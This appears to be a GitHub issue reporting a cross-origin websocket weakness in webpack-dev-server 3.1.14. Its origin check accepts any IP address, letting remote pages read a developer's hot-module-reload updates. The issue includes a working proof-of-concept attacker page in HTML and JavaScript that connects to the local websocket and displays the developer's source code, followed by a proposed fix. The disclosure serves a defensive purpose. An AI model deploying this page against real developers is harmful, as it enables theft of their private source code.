Description
- Operating System: Hannah Montana Linux
- Node Version: v11.6.0
- NPM Version: 6.5.0
- webpack Version: 4.17.1
- webpack-dev-server Version: 3.1.14
- This is a bug
- This is a modification request
Hello 😄 !!! This issue is intended to build on top of #1603
Code
Just check https://github.com/webpack/webpack-dev-server/blob/v3.1.14/lib/Server.js, especially the checkHost method and this snippet:
webpack-dev-server/lib/Server.js
Lines 751 to 757 in 4b7a828
Expected Behavior
No remote application opened in a browser should be able to connect to the local websocket server with new WebSocket(). Only localhost, this.hostname, this.publicHost, etc should.
Actual Behavior
If a developer visits a site/app (without domain, just an IP address), this site/app could contain some JS code that connects to the local websocket server to listen for changes, obtain the hash of the hot update, get the update etc, basically what is described in https://www.npmjs.com/advisories/725.
The origin check will pass because the checkHost method contains this:
webpack-dev-server/lib/Server.js
Lines 677 to 679 in 178e6cc
and this method is used to check the origin as well.
It was decided that all IP's are OK in the host header in #1007 because they are not vulnerable to DNS rebind attacks etc. It allows people to have development setups in a LAN, let other people check their code running in the dev server etc. (which is useful, and a nice feature) WITHOUT specifying the public option, just the host: '0.0.0.0' option. This is actually another problem.
For Bugs; How can we reproduce the behavior?
This is how any website not using a domain name can connect to your local websocket server:
Take any remote machine xxx.xxx.xxx.xxx. Serve the following:
<!-- index.html -->
<html>
<body>
<p>Hello im the attacker !</p>
<script src="./index.js"></script>
</body>
</html>// index.js
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/sockjs-node/123/456/websocket`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event);
if (event.data.match('hash')) {
s = document.createElement('script');
s.src = `${target}main.${currentHash}.hot-update.js`;
document.body.appendChild(s)
r = event.data.match(/"([0-9a-f]{20})\\"/);
// This will actually be the hash for the next update
currentHash = r[1];
}
}- Then have webpack-dev-server + HMR running some application of your own locally.
- Visit xxx.xxx.xxx.xxx
- Make a few changes to your application. You will see the changes on xxx.xxx.xxx.xxx.
The solution and the problem
I've already implemented some solutions to this, I can submit a PR but I need feedback before.
There would be a new method checkOrigin that does this task. Or even better keep checkHost for everything but remove the automatic validation of any IP introduced in #1007 ! (which actually solves two problems).
This will make people use the public option, since right now, having ONLY host: '0.0.0.0' is enough to serve externally (if accessing with an IP). This comment by @sokra (here #882 (comment)) suggests it is bad usage and the docs indicate the public option should be used: https://github.com/webpack/webpack-dev-server/blob/master/examples/cli/public/README.md
To summarise, in case of a PR being merged:
If someone is just using localhost to develop
Nothing changes. They will have a tiny bit of extra security.
If someone is using several computers on a LAN or showing people in their LAN their dev server
They would have to look for their private IP, e.g. 10.0.0.10 or 192.168.0.100 and put it in the public option, like it was intented from the beginning.
If webpack-dev-server is running on mydevmachine.dev
The public option should already be set so no problem. This issue is only about IP addresses.
Some other complex setup with proxies, redirects, etc:
I haven't thought about everything, but the PR shouldn't break things. It might even help !
Related links:
https://nvd.nist.gov/vuln/detail/CVE-2018-14732
https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages